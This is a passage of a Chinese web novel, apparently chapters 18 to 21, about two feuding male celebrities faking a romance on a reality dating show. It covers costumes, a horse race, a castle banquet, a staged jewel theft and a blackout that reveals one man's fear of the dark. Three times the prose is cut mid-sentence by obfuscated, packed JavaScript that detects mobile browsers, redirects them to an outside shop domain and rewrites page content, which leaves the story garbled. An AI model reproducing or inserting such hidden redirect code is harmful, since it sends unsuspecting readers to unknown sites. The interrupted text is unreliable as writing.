“欢迎各位老师来到我们《恋爱百分百》第一期节目录制现场,我是节目的执行导演叶彦,之后的录制过程中,会由我来为各位老师发放任务。” 叶彦腰间别着个小蜜蜂,边说边举起了手里的logo泡沫板。 “首先,为了保证各位老师的体验,手机之类的电子产品,前往小镇的车上应该已经有工作人员帮各位收好了。”叶彦看着台阶上的六位嘉宾,意味深长地停顿了一会儿,“那么接下来,我将会宣布本期录制的住房选择条件。” “第一期住房选择权,将根据双人采访时每对情侣对对方答案的满意程度换算成平均分,平均分越高,排名越高。” 双人采访……? 顾听舟脸上的笑意忽然一顿,回想起那天的一举一动,忍不住两眼一黑。 18. 腰细腿长 预告片是三天前就已经播出了的,六位嘉宾的答案也都原模原样地剪了进去。 三对情侣中,许黎和傅乐天的回答最简单,两人都很满意对方的答案,边竹和邓秉述这对则颇有节目效果,边竹故意犹豫了会儿,等到邓秉述可怜巴巴地喊了声“边哥”撒娇,这才总算点头选择了满意。 而唯一一组毫无疑问锁定倒数第一位置的,则是顾听舟和易淮江这两个互相较劲的假情侣。 并列第一的两组在经过一局紧张刺激的石头剪刀布后,也决出了最终的胜负。 邓秉述手气好,带着边竹一起留在了第一,傅乐天和许黎则顺位排在了第二。 “其实节目组准备的房子条件都还不错,住房的差距主要体现在其他方面。”叶导端水似的安慰了一句,接着拿出六个信封,信封两两一对,分别是金、银、青三种颜色,“好了,现在请六位嘉宾分别下来抽取你本期的身份卡。” 顾听舟一看那颜色分明的信封就知道不对劲,等第一个被叫到的邓秉述下去后,叶导只给了他两个金色信封二选一,挑好就在边上顺手拆了,而与此同时,叶导又叫到了边竹的名字。 前面四个人依次挑好了身份卡,很快就被工作人员两两一对地带走了。等顾听舟下去时,干脆把易淮江也一块拽了下去。 “反正就剩两个了,我们早点拿完也省得让工作人员等着。”顾听舟说着就随手挑了一个拆开。 【您的身份是——骑士长】 顾听舟挑了挑眉,下意识转头去瞟易淮江手里的身份卡。却没想到易淮江坦坦荡荡地往他眼前一递。 总督? 倒数第一竟然还能有这种规格的身份?那第一第二得是什么?国王? 没等顾听舟发散完自己的好奇心,工作人员已经先把他俩重新带上了马车。 不用守着行李箱,马车上的空间陡然宽阔了起来,但也显得愈发逼仄。两人的胳膊挨着胳膊,膝盖贴着膝盖,随着马匹一路“哒哒哒”的小跑,车身也时不时晃两下,让人想躲都没处躲。 七天而已…… 顾听舟默默做了个深呼吸,在心里安慰自己,只要熬过这七天,他马上就能从易淮江家里搬出来了! 一路摇摇晃晃,总算是到达了目的地。 赶车的车夫请他们下了车,两人一抬眼就看到了被放在小洋楼门口的两个大行李箱。走上前,门把手上还挂着张被风吹得一摇一晃的卡片。 顾听舟解了丝带,拿起那张卡片:“欢迎入住,今晚六点会在小镇中心的城堡举办宴会,请先前往更衣室换上对应您身份的服装。” “一小时之后。”易淮江听他念完,抬头看了眼客厅里的钟表,“先换衣服。” 这是座复式的小洋楼,独门独栋,内里的装潢华美贵气,客厅里还用投影做出了壁炉里跳动的火光,可以说是十分原汁原味了。 衣帽间在二楼的走廊尽头,和卧室只隔了一个走廊转角。两人各自拿了套标着自己身份卡的衣服,易淮江先拎着衣服去了卧室,顾听舟慢了一步,便留在了衣帽间。 -制服斯哈斯哈 -这两身衣服都好帅,谁懂男人穿制服的含金量!!! -虽然但是他俩为啥要分开换衣服 -怕走火吧[黄心][黄心][黄心] -舟舟脱外套都好帅,这腰我直接斯哈斯哈! -NOOOO镜头为什么黑了!!叶导快出来!我可以刷华子!给我开vip通道!!! 更衣室的窗户拉着纱帘,吊顶上的水晶灯亮晶晶,将衣柜里的一排鎏金扣照得闪闪发亮。 顾听舟原本还好奇节目组动作这么快就把他们对应的服装安排好了,于是又从衣柜里拎了两件,好巧不巧两套都是女式制服,及膝的半长裙吓得他赶忙塞回了衣柜最边边的角落里。 这制式显然不是真女兵的衣服,顾听舟忍不住撇了撇嘴,谁家好人巡逻打仗的衣服做裙款的…… 节目组还是不够严谨。 虽说身上穿了打底不会走光,但保险起见,顾听舟还是先脱了外套挡住了摄影机。 易淮江动作稍快,没过多久就穿戴整齐地走出了卧室,镜头刚一对准他,直播间里的弹幕瞬间疯狂刷了起来。 易淮江只顺手拿了件看起来最方便穿戴的衣服,但奈何节目组肯下手笔,虽然服装制式不算严谨,但每一套都精致到没话说。 易淮江身上穿的是最简约的款式。内衬的白色衬衫缀着白底滚金的褶饰领,下身搭着一条黑色锻面直筒裤。外套一件蓝色羊毛面料的立领长袍,款式类似于秋冬穿的大衣,却又比大衣更加笔挺合身,暗蓝色的制式礼服在袖口和腰间衬着金线花边,靠两行双排扣在胸前固定。黑色的尖头皮鞋在走动间闪着暗芒,踩在瓷砖上发出有节奏的轻响。 易淮江在衣帽间外的栏杆前停下了脚步,等待的姿态看起来耐心十足。 -舟舟不在,易哥真就一句话都没了啊 -是这样的……他能上综艺我们已经谢天谢地了,以前除了电影宣传和访谈,只能去电影院看他 -好帅好帅好帅…… -这个腿长得我要怀疑人生了 -有这张脸披麻袋都好看好么。。。 -别说,易哥以前拍戏还真披过麻袋 “吱嘎”一声轻响。 面前的门终于被打开。 易淮江懒懒抬眼,目光却在映入某道身影时倏忽顿了下。 抛开两人之间陈年旧账不谈,顾听舟这张脸,确实是无话可说的精致漂亮。 比起易淮江总是冷着的剑眉星目,顾听舟的五官都更偏艳丽,眉眼鼻唇无一不是引人注目的稠丽漂亮。可偏偏一双眼瞳颜色极淡,望着人时眼里含光,像是两枚缀着华光的琉璃,恰到好处地中和了五官招摇的艳气。 再加上从小被宠着长大,眉目间也尽是少爷做派的张扬和矜贵,光是那份气质就是娱乐圈里多少人拍马不及的。 顾大少爷推开门便看见了门外站着的易淮江,轻佻地挑了挑眉,孔雀开屏似的展示着身上的衣服。 怎么样? 难得和谐的气氛,易淮江也难得这么认真地打量了一圈。 顾听舟腰细 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16842521|191342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腿长,身量也高,这一身骑士制服穿在他身上更衬得他身材比例极好。黑色的丝质衬衫做了荷叶前襟和立领的设计,短款的暗红色燕尾外套缀着细长的银链和银质流苏,把本就细韧的腰身勾勒得愈发纤细,右肩搭了件白色的半肩斗篷,长度刚好盖过腿根。 黑色长筒皮靴妥帖地收束住白色长裤,干练又帅气,也更显得那双腿笔直修长。 两人一红一蓝,一里一外,衣服虽然稍显浮夸,却在这两张颜值逆天的脸的衬托下,显得无比和谐。 易淮江的视线在他耳垂上两枚闪闪发亮的小银环上停了两秒:“好看。” 衣帽间里应该是还有首饰台,顾听舟把原本带着的耳钉换了。 顾听舟在穿衣镜前就照了好几圈,对自己这身行头满意得不行,本来也只是随手嘚瑟了下,没想到易淮江竟然真的开口夸了他。 想起两人之间的和平条约,顾听舟看在这句夸他的话上,总算是彻底放下了上午的不自在,也想起了营业的正事。 顾听舟本就喜欢打扮,家里的衣服饰品多得换不过来,是以趁着在衣帽间换衣服的间隙,把里面摆着的东西都看了一遍。 耳朵上的两枚银环就是他从首饰盒里翻出来的。 顾听舟也正经看了看他,想到了什么,忽然丢下句“等着”,就又转身回了衣帽间。易淮江只当他落了东西,便也没走,依旧倚在栏杆边等待。 再出来时,顾听舟一手拎着根手杖,一手拿着副眼镜三两步直接走到了他面前。 走近了,易淮江才发觉这人的腰细得简直不可思议,被这身衣服束着,像是一掌能直接圈住大半腰身。 吃得倒是不少,都吃到哪儿去了? “拿着。” 手里忽然被塞了个冰凉凉的东西。易淮江略一垂眼,这才看清是那根手杖。黑色的长/棍,顶端嵌着银质雕花的握柄,好看归好看,但易淮江却觉得像是拐杖。 但抿了抿唇,还是没开口。 顾听舟仗着有镜头在,直接把他当成了等比高的人偶娃娃,挂着营业的噱头给他身上挂东西。 易淮江还没来得及抬眼,鼻梁上又忽然一重。 顾听舟兴致勃勃地把从首饰盒里翻出来的眼镜给他戴在了脸上。这还是副单边眼镜,金丝框架,镜框上还挂着条细长的金链,在空中晃了晃。 “抬头。”单边眼镜没戴稳容易掉,就这么一副,摔碎了可就没有了,顾听舟怕眼镜滑落,开口命令道。 易淮江略略仰起点下巴,垂着的眼也跟着往上抬,呼吸间,两道目光忽然撞在了一处。 顾听舟后知后觉地察觉到两人之间过近的距离,下意识要往后退开,可一只手却恰到好处地贴上了他的后腰,拦住了他的去路。 平光镜下,某人微挑的眼尾带着几分显而易见的促狭,手掌按在他的后腰,还得寸进尺地往前带了下。 顾听舟耳根猝然变得滚烫。 易淮江的视线微动,从那两枚银环又转回到了那双琉璃瞳上,手上耍着流氓,语气倒是一如既往的不疾不徐。 “跑什么?” 19. 斯文败类 顾听舟磨了磨后槽牙,压着声气急败坏。 他试图语言威胁:“手!赶紧撒开!”眼神凶巴巴的,可当着镜头的面,却也不好真的跟易淮江动手。 易淮江脸上戴着那架金丝眼镜,细细的金链一摇一晃,配上这么张性/冷淡的冰块脸,简直是名副其实的斯文败类。 斯文在脸,败类在那只还贴在他腰上的爪子,顾听舟觉得别扭,那只手贴在他腰上跟带着电似的,明明隔着好几层布料,却让他忍不住想逃。 可易淮江却仿若未闻,按在他腰上的手竟然还得寸进尺地虚虚握了下,顾听舟被他摸得一个激灵。 什么营业,什么镜头!什么和平条约,顾听舟眼里的火“唰”一下冒了头,正准备捋袖子动手,却见易淮江忽然皱了皱眉。 这人的手还贴在他腰侧,语气却一本正经:“顾听舟,你是不是有胃病?” “……!” 顾听舟刚点着没多久火忽然一虚,扑腾了两下,彻底没燃着,但面上依然还是那副“你再不撒开我就动手了”的威胁模样。 “没有。”顾听舟虽然慌乱,但咬死不承认。 紧接着一把推开了易淮江,眼睛瞟着一楼扑腾得欢快的电子火苗,扬了扬下巴,先声夺人:“说话就说话,你靠那么近干什么。”然后转头就溜之大吉。 顾听舟看似气势汹汹实则灰溜溜地转头进了卧室,见易淮江没跟进来,悄悄松了口气。 威廉是他经纪人,知道他的胃病是以防出现什么突发情况。易淮江问这个有屁用?还不是迟早要捏着他这个把柄去找祝女士和老顾告黑状。 幸好他跑得快,顾听舟想,跑得他人都热了 耳垂上的两枚银环摇摇摆摆地映着光,实际晃得还没心跳快。 直播间里的网友倒是看得格外激动,一个个一边盯着镜头里贴得极近的两人,一边“啊啊啊啊啊啊”地发弹幕。 -两个帅哥站一起,对我的眼睛真的非常友好谁懂! -给我亲给我亲给我亲给我亲! -我天这个距离,易哥你手都搂着了,亲上去啊!!! -怎么就跑了哈哈哈哈哈,舟舟竟然害羞了么 -易哥快去哄老婆,舟舟耳朵都要烫熟了 直播间里的弹幕密密麻麻地飘过,毕竟是婚综,大部分留在直播间里的网友都是奔着磕小情侣糖来的,但六位嘉宾在娱乐圈里的热度都不低,尤其是常年霸榜热搜的顾听舟和易淮江,粉黑大战更是数不胜数。 有欢欢喜喜磕CP的,自然也有泼凉水说风凉话的,不少极端唯粉和黑粉混在人群中,暗戳戳发了不少带着恶意的言论,各角度剖析两人关系不好的点,试图带节奏。但索性只是少数,还没等露头就被乌泱泱的其他弹幕盖了过去。 顾听舟重新进了趟衣帽间,为了掩饰尴尬,再出来时也给自己拿了个道具,一把锃光瓦亮的银剑端端正正地佩在了腰侧。 易淮江似乎也恢复了正常,抬手捋了捋眼镜链子,主动提出先去收拾行李,顾听舟想着时间反正还早,便也点了头。 两人一人一个行李箱,电子产品和零钱、零食早在来的路上就被节目组收走了,剩下也就是些日常的生活用品和衣服。眼下又是个类似沉浸式扮演的背景,他们自己带的衣服也大多没了用处,两人便只简单整理了下日常用品。 但等到磨磨蹭蹭地收拾完,时间已经不知不觉地来到了五点四十。 卡片上说,晚宴会在六点开始,请各位受邀人务必准时到达。 顾听舟想着下午的马车从城堡开过来也才不到十分钟,时间应该是绰绰有余,就算慢一点,到场的时间也差不多刚刚好。 结果一出门,顾听舟的脚步就顿在了原地。 原先停在门口的马车挪了地方。节目组不知道什么时候在洋楼门口摆了张长桌,桌旁坐着个N/P/C。 顾听舟预感不妙,还没等他开口,果然,那位N/P/C已经如数家珍般介绍起了身后格外显眼的几样东西。 “骑士长晚上好,总督晚上好。二位可以在这里选择您的出行方式。” N/P/C简单介绍了一下可供两人选择的出行方式。总共有三种,分为步行、马车和骑马。 步行最简单,从洋楼出发沿着道路一路走着去城堡,用时最长也最累,预计花费时长在25分钟左右。 顾听舟首先就把这个选项排除了。 而两人坐了好几趟的马车也变了样,原先不到十分钟就能把他们从城堡送到洋楼的马车,根据N.P.C的介绍,到达城堡估计要花费15~20分钟。 顾听舟听得满头黑线,忍不住开口问:“马车和走路的用时就差五分钟?” N.P.C笑了下,解释道:“马车需要遵守交通规则,沿着大路去城堡,一路上不仅有限速,还有指挥官在路口调度车辆,控制放行。” 懂了。限速加红绿灯,马车再快,上了路也得安安分分按交规走。 顾听舟对这个解释完全没有意见,但想起两人前两次乘马车的经历,不由得瞥了眼身后扛着机器的其他工作人员。 合着是专门在这等着坑他呢。先带着他超速行驶,说不定还闯了几个红灯,让他放松警惕以为马车速度很快,放心掐点下楼,最后慌慌张张地赶去城堡赴宴。 顾听舟收回视线,手自然搭在腰间那柄长剑上摩挲了下,又问他最后一个选择。 节目组财大气粗,还真牵来了两匹上了鞍的马,就等在马车旁,顾听舟瞥了眼边上没吭声的锯嘴葫芦,又追问了句:“骑马也限速?” “这个不限。”N.P.C回答,而后又详细地解释了下,由于顾听舟和易淮江两人的身份卡都是有爵位的贵族,因此虽然住所距离城堡较远,但拥有一条可以直通城堡的快捷通道。 快捷通道不仅风景好,而且十分便利,但只允许骑马通过,正常速度下只需要10分钟。 问清楚了三种出行方式的差别,顾听舟心下了然,扭头看了眼易淮江:“想好了没?” 易淮江像是知道他心里的想法,微微颔首:“你先。” “本来也没打算让你先挑。”顾听舟哼了声,当即迈步走到了其中一匹通体乌黑的骏马边,抬手顺了顺鬃毛。黑马显 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16842522|191342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然是专门训练过的,十分亲人,见顾听舟要摸毛便低下头由着他摸。 “真乖。”顾听舟差不多摸清了这匹马的脾性,便也没再犹豫,手腕一翻便拽紧了缰绳,两条长腿一蹬一跨,干净利落地翻身上了马。 坐在马上,视角陡然拔高许多,顾听舟动作熟练地绕着缰绳,一边扯着不让黑马乱动,一边居高临下地瞧着易淮江:“赌什么?” 两人身上的衣服都零零碎碎缀着不少装饰,尤其是顾听舟那套,流苏、披风,还有他自己带上的佩剑。 夕阳将落未落的时分,漫天都是金灿灿的余芒。易淮江的视线从那抹窄刀似的弧线上挪开,翻身上了另一匹白马:“输了就答应对方一个要求。” 易淮江忽然想到了什么,沉声道。 “那就比比看。”话音刚落,顾听舟就两腿一夹马腹,娴熟地调转马头踏上了“直通道”。 易淮江当即跟了上去。顾听舟见他跟上,便也没再犹豫,直接收紧了缰绳提速。两人你追我赶,一路风驰电掣,不过几个眨眼的时间,就把洋楼前一众工作人员抛弃在了原地。 N.P.C装扮的工作人员也傻了眼。 这不对啊!按节目组原本的构想,难道不应该是两人都不熟悉骑马,只能选择徒步或者马车,匆匆忙忙赶去赴宴,然后在之后的日子里慢慢学,一边骑着马在风景优美的直通道上熟悉马术,一边你侬我侬的谈情说爱吗? 这两人怎么还比上了?!! 幸好直通道上有专门的无人机等候,直播间里很快就切换了视角,一路跟着两人风风火火的抵达了城堡。 等两人终于下马,直播间里已经快被弹幕淹没了。 -他俩怎么真会啊啊啊!!现在演戏难道不都是道具马吗? -易哥是真会,他早年拍过武侠题材的电影,导演还专门发了他骑马的花絮,帅炸了,主要我没想到舟舟也会 -我们舟舟真的是宝藏好吗,唱歌吉他钢琴街舞他都会的,但我没想到他竟然还会骑马! -动作都很标准,而且敢这么疯骑,应该是专门学过 -你们都在研究骑马,而我只关心那个赌注!易哥你直说你想骗舟舟干什么吧[黄心] 两人下了马,很快便有侍从装扮的N.P.C上来接过他们手里的缰绳。易淮江空出来的手碰了碰顾听舟的。 顾听舟恨铁不成钢地瞪了眼那匹黑马。看着高高大大的,怎么还是个老婆奴! 起先他是等了下易淮江,但两人到了同一条水平线后他就没再收着,结果没想到两人的马竟然还是一公一母,这匹公马每次跑快了就会自动慢下来等另一匹,怎么催也不肯听。顾听舟拿它没办法,最后让易淮江在城堡前的最后一段弯道超了车。 “你胜之不武。”顾听舟小声哼了声。 易淮江坦然:“那也是我赢了。” 顾听舟狐疑地盯他:“你想干什么?” “不干什么。”易淮江挑了挑眉,镜片上倒映的光忽明忽暗,瞧着就不像什么好人,他压低了声,语气里带着点故意逗人的愉悦,“骑士长,做人要讲诚信。” 20. 紧急断电 虽说有客观因素干扰,但输了就是输了,顾听舟尽管不服却也讲理。 但愿赌服输和看易淮江不爽是两码事,顾听舟丢下句“诚信只是我众多美好品德之一”,便头也不回地径直进了城堡。 他步子迈得急匆匆的,但某人仗着比他高出那四公分的腿长,很快便也跟了上来,当着周围一圈摄影机的面,顾听舟犹豫再三,还是默默恢复了正常速度,跟易淮江并肩走进了宴会厅。 似曾相识的一幕,另外四人早早入了座,正一边偷吃桌上的菜品一边等着他俩。 长桌上摆着的菜品每一道都精致得不行,顾听舟的视线在桌上绕了一圈,又落在了那四个人的身上。 比起那些菜品,还是他们几个更花里胡哨一点,顾听舟腹诽。 坐在主位上的邓秉述和边竹穿着考究的礼服,华丽又隆重,一眼就能看出来是两位爵位不低的王公贵族。 坐在他们手边的许黎,一头长发盘起,头上带着一顶精致的王冠,穿着同样考究的衬衫长裤,外搭一件类似魔法袍的墨绿色披风长袍,领口别着枚祖母绿领扣,英伦风十足。而她身边的傅乐天穿得则简单许多,一身燕尾西装,除了装饰花哨外,并没有什么明确体现身份的象征。 顾听舟心里有了几分猜测,和易淮江一块走近后,还没开口,就听见傅乐天叹气道:“完了,这怎么一个穿得比一个帅。” 傅乐天看了看自家打扮得贵气十足的老婆,叹了口气:“我现在就是那个性转版的灰姑娘。” 顾听舟找到自己的位置坐下,捂着唇都忍不住笑。傅乐天也是一米八几的身高,早先走的阳光男大人设,后来虽说成功转型,却依然走的阳光健气风,高高壮壮的肌肉男歪头靠在比他小了一号的许黎身上,实在是反差太大。 但眼下顾听舟更好奇另一件事,他问边竹:“你们该不会直接住城堡里吧?” 边竹点点头:“我和队长据说是国王亲封的伯爵,破例允许住在城堡。许黎的身份卡是国王唯一的公主,拥有童话王国的继承权,和傅乐天住在离城堡很近的一个大庄园,顾老师被带到哪去了?” 顾听舟无语了,他就说倒数第一怎么还能有个一官半职的身份卡,原来是在“通勤”这儿下了手。 显而易见,接下来的六天里有什么大型活动都会在城堡进行,他和易淮江住得最远,通勤时长最慢,想及时到场只能要么学骑马赶路,要么牺牲休息时间提前出发。 顾听舟道:“被节目组发配边境了,N.P.C说从我们家走到城堡要走差不多25分钟。” 他话音未落,易淮江的视线就转过去看了他一眼,但顾听舟聊得正投入,半点也没发现。 许黎惊讶道:“没有马车吗?马车虽然也不快但是总比走路轻松点。” “有的。”顾听舟勾唇一笑,“但是节目组应该不知道我和易淮江会骑马,还专门开了个‘直通道’,说是十分钟,估计是想让我们慢慢学。结果我们一路骑马跑过来,也就花了六、七分钟。” 傅乐天眼睛顿时亮了:“舟哥你还会骑马?!” “小时候学过。”顾听舟谦虚了一句。 聊天的功夫,打扮成内侍模样的N.P.C终于款款出场,开启了晚宴的序幕:“欢迎各位客人来到本次的宴会。在我们美好和谐的童话王国,一顿丰盛且精致的晚宴,是一天的辛勤工作后最佳的犒赏。” “本次晚宴的举办原因,相信各位贵客都已经知道。”N.P.C动作优雅地朝着主位上身份最尊贵的邓秉述和边竹躬身行礼。 顾听舟拿叉子偷偷戳了根薯条啃,反正他不知道,导演又没给剧本。 N.P.C自顾自补充晚宴设定:“前段时间,我们的国王陛下刚刚得到一枚世上罕见的宝石,这枚宝石价值连城,是以还没到达城堡,国王便举办了这场宴会以表庆祝。” “按照计划,宝石将会在晚宴结束后到达城堡,届时各位贵宾也可以留下来一同观赏。” “祝各位用餐愉快。” 顾听舟一听这台词就知道有问题,王国就王国,非要强调一嘴“美好和谐的童话王国”…… 但凡立了这种flag,接下来的绝对要发生点“不美好不和谐”的大事。 除了易淮江,其他五人都是综艺节目的常客,对这个专门补充背景设定的N.P.C的台词都或多或少升起了点警惕心。 顾听舟一边切着面前的牛排,一边拿余光瞥易淮江。按理来说易淮江是能听出来内侍有问题的,但这人一如既往的没什么表情,也不排除脑子短路的可能性。 随便,反正靠他自己也能带飞。 顾听舟咬了口牛排,懒得和冰块脸废话。 一顿晚宴吃得还算尽兴,虽然开始被N.P.C的话影响了思考,但吃了半天也没见出事,大家又都放下了心,热热闹闹地边吃边聊了起来。六个帅哥美女坐在一张长桌前谈笑风生,气氛无比和谐,连直播间里的网友们也被感染。 -完,给我看饿了 -六个人性格都好好,节目组一定不要放过他们!都常驻吧求求了 -就知道晚宴要馋人,火鸡面已就位 -等有钱了我一定要买个能闻到香味的手机 晚宴临近尾声,几人吃饱喝足,坐在长桌前等着节目组的安排,按N.P.C的说法,晚宴结束后就是那颗价值连城的宝石的展示时间。 既然吃饭的时候没出事,那就肯定是在饭后了。几人坐在座位上气定神闲地等着N.P.C开演。 果不其然,晚宴开始前还淡定从容的内侍N.P.C脸色铁青地冲进了宴会厅中,身后还跟了浩浩荡荡的一队士兵。 内侍的视线先是在他们一行人身上转了一圈,语气不明道:“诸位刚刚有谁单独离开过宴会厅吗?” 傅乐天不乐意了:“你这话什么意思?”他像是还想再说,却被许黎按住了手臂。 许黎性格内敛,却不是软柿子,手上又拿着继承人的身份牌,见内侍语气不善,反诘道:“这就是你对待贵宾的态度?” 手上的高脚杯轻轻巧巧地往大理石长桌上一放,响声清脆又不失威胁,许黎面色不虞地睨他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16842523|191342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一眼:“父王陛下要是知道你代表他招待贵宾却如此失礼,你该当何罪?” 内侍那张脸唰一下变得煞白,当即“扑通”一声跪在了她身后:“公主殿下,我不是有意的,是宝石,宝石不见了了!” 许黎淡定道:“我们几个人都没出过宴会厅,你可以带着士兵去别处搜查了。” 内侍情绪正上头,没想到这位刚刚霸气侧漏的公主殿下会来这么一句,一时间也忘了演戏,直接愣在了原地。 这不对吧? 邓秉述和边竹也跟着搭腔:“还不快去?要是真把人放跑了怎么办?” 顾听舟自顾自喝着葡萄汁,他一个骑士长,在这吃吃喝喝挺好的,这种时候贸然开口,指不定就要被N.P.C拉走干苦力,他又不傻。连易淮江都没吭声。 内侍显然也没想到剧情会发展成这个走向,但他的角色身份摆在这儿,公主和两位伯爵都发了话,他也只好带着一行士兵匆匆离开。 傅乐天一歪脑袋,又靠许黎肩膀上去了:“老婆你刚才好帅!”许黎哄小狗一样拍了拍他脑袋,哭笑不得。 边竹和邓秉述对视一眼,仰头喝尽了杯子里剩下的最后一点葡萄汁,猜测道:“如果我猜的没错,节目组肯定还有备用方案逼我们去找……” 话音未落,宴会厅里骤然一黑。 方才流光溢彩的大厅里,此刻仿佛被骤然切断了所有,六人眼前都只剩下一片伸手不见五指的漆黑。 紧接着,一段曲调奇怪的铃声忽然响起,断断续续响了有十多声才终于停下。 那铃声曲不成曲,调不成调,听得许黎一个专业音乐人眉头硬生生皱出一个“川”字,黑暗中,其他几人也同样被这铃声吵得忍不住皱眉。 这忽然关灯的操作把他们几个吓了一跳,直播间里的观众也同样被吓到了,但镜头很快就从正常模式转换成了夜视红外模式,虽然分不清具体颜色,但起码能分清几人的脸,看得见他们的动作。 -别搞,不是童话小镇吗,怎么还闹鬼了 -好黑,阴森森的,配上这个乱七八糟的歌更渗人了,说好的甜蜜婚综呢,节目组出来挨打! -易哥你倒是动一下啊 -前面的,易哥和舟舟贴那么近,易哥哪舍得走啊,盯老婆盯一天了 易淮江其实动了。 宴会厅里的灯骤然黑下来的时候,他原本拿着刀叉的手便把刀叉稳稳当当地摆回了原位。只是收手时因为还没适应眼前的一片黑茫茫,不经意间往外偏了点位置,却没想到恰好碰到了另一只手。 触感冰凉,甚至像是比他还冷上几分,易淮江眉心微拧,可还没等他开口,那只手便像是触电似的飞快缩了回去。 易淮江来不及多想,下意识追过去握住了那只手,顾听舟一贯偏高偏烫的体温此刻冷得根本不正常。 “干什么。” 顾听舟干巴巴地开了口,熟悉的清越嗓音听起来镇定自若,仿佛只是照旧对他的行为表示谴责和不满。 可易淮江眉头却骤然蹙得更深。 不对劲。 21. 冰川初融 按顾听舟的性格,哪有自己随便摸了他还不炸毛的道理? 更何况是现在,到处都是一片黑漆漆的,他最开始碰到顾听舟确实是不小心,可后面顾听舟先躲开了他却又紧追不舍地抓了上去。 正常情况下,顾听舟早就该咬牙切齿地威胁他放手了,怎么可能这么心平气和? 这段短暂的思考时间已经足够易淮江的眼睛适应这片黑暗,他抬眼看向顾听舟,虽然没法看清他脸上的表情,可他耳朵上微微颤抖的两枚银环,早已隐秘地泄露了他的不安。 关灯是节目组安排的环节,灯虽然关了,摄像机必定不可能关,直播间里成千上万的观众还盯着他们,易淮江迟疑一瞬,把心底涌起的半分疑问压了回去。 就算他这时候问了,顾听舟也不可能承认,更不可能当着这么多人的面承认。 抓着的手迟迟没有动静,顾听舟的脑海里依旧一片混乱,想开口让这人松手,可张了张嘴却又把到了嘴边的话吞了回去。 易淮江对他太熟悉了,他如果继续开口,或许很快就会暴露自己怕黑。 不行。 顾听舟想,他应该把这只抓着他不放的手也甩开。可脑子转得迟缓,连带着身体也不听使唤。 眼前空荡荡的漆黑让人无端的害怕、心悸,像是个深不见底的漩涡,牢牢攥住了他的大半心神,顾听舟光是要维持自己不在镜头下露出破绽就几乎已经耗尽精力。 黑暗中,被剥夺的视力放大了其他感官,紧贴在他手腕上的掌心不同寻常地带着点温热,明明是易淮江,却又不太像易淮江。 这人从来都是冷冰冰的。 顾听舟缓缓眨了眨已经派不上什么用处的眼睛,这点微妙的不一样在此时像是一层无形的纱,遮住了他的眼睛,也骗过了他的判断能力。 他的潜意识在接收到这份错误的身份信息后,本能般开始渴望那点微不足道的温度,不受控制的大脑紧接着给身体下达了静默的指令,让他挣不开,逃不了。 两个人僵持着,谁都没有开口。 直到不远处忽然响起其他人的声音,打破了他们之间诡异的氛围。 边竹和邓秉述本身就是解谜综艺的常驻嘉宾,对节目组突然关灯的操作早已是见怪不怪。 但这档节目的定位难道不应该是轻松甜蜜的婚后恋爱记录吗?边竹忍不住扶额,这个剧情走向怎么感觉这么似曾相识呢? 在解谜综艺上锻炼出的本能反应让两人的心情都很快从好笑无奈瞬间转变成了探索解谜的求知若渴。 傅乐天被吓得碎碎念的声音不绝于耳,边竹率先开口稳了稳其他几人的情绪:“应该是节目组安排的流程,大家不用害怕。” 邓秉述也附和道:“大家先确认一下对方还在不在自己身边。”说着握住了坐在他身旁的边竹的手,十指相扣,“我和边竹都在。” 许黎:“我们俩也在。” 空气中忽然沉默了一瞬,顾听舟还没反应过来,就听见身边坐着的人忽然开口。 “我们也是。” 确认六个人都还在宴会厅中,那基本可以确定节目组没想搞单独让某个人失踪的脱节玩法。边竹按自己的猜测,摸黑走到了宴会厅紧闭着的大门前,摸索了一会后确认道:“电子锁也失效了。” 这也就意味着他们六个人现在被彻底困在了这个黑得伸手不见五指的宴会厅里。 “那我们还出得去吗?”傅乐天欲哭无泪。 邓秉述也跟着走过来,顺着他的手摸上了电子锁,仔细地检查了一圈后,忽然舒了口气:“这里有备用锁孔。” “锁孔?”傅乐天终于舍得抬头了,虽然只能看见门口处两人模糊的身影,“那是不是找到钥匙我们就能出去了?” “应该是。”边竹摊了摊手,“但现在也没有其他办法离开这儿了,节目组要是当个人,怎么也该给我们留条能出去的路,而不是真的把我们在这关一晚上。” 傅乐天紧贴着许黎从餐桌前站了起来:“那、那就找吧,咱们早点找到早点收工跑路。” 邓秉述提醒道:“宴会厅太黑了,钥匙应该不会藏得特别深,有柜子盒子什么的可以重点翻一翻。” 几人相继应了声,便各自分散开找钥匙去了。 顾听舟人还僵着,却也被易淮江拉了起来,带到了宴会厅里距离其他几人最远也最空旷的墙角。 易淮江没问,可不代表他不会猜,他拉着顾听舟的手没松,等找到了他想要的东西后,才终于停住了脚步。 